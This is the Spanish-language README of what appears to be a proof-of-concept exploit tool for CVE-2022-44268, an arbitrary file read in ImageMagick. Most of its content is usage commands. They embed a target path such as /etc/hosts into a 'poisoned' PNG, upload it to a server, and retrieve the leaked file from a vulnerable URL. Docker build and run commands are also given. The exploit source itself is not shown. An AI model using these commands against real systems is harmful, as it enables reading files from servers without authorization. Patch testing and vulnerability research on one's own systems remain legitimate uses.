CVE-2022-44268 🧙‍♂️

CVE-2022-44268 Lectura Arbitraria de Archivos en ImageMagick - Exploit de Prueba de Concepto

Video 📼

https://youtu.be/quKxwNAMBIA

Uso 🛠

Envenenar la imagen ☣️

python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png

Upload poisoned PNG image.

Verificar si el exploit fue exitoso 🗡

python3 CVE-2022-44268.py --url http://vulnerable-imagemagick.com/uploads/vulnerable.png

Ejecutando desde Docker 🐳

Construir

docker build -t cve-2022-44268 .

Ejecutar

docker run -v $(pwd)/data:/data -ti cve-2022-44268 --image /data/random.png --file-to-read "/etc/hosts" --output /data/poisoned.png

Parámetros 🧰

Contáctame 📇

Twitter - Milan Jovic

LinkedIn - Milan Jovic

Solo con fines educativos y no puede ser utilizado para violar la ley o beneficio personal.

El autor de este proyecto no se hace responsable de cualquier daño posible causado por los materiales de este proyecto.

Más detalles: https://www.metabaseq.com/imagemagick-zero-days/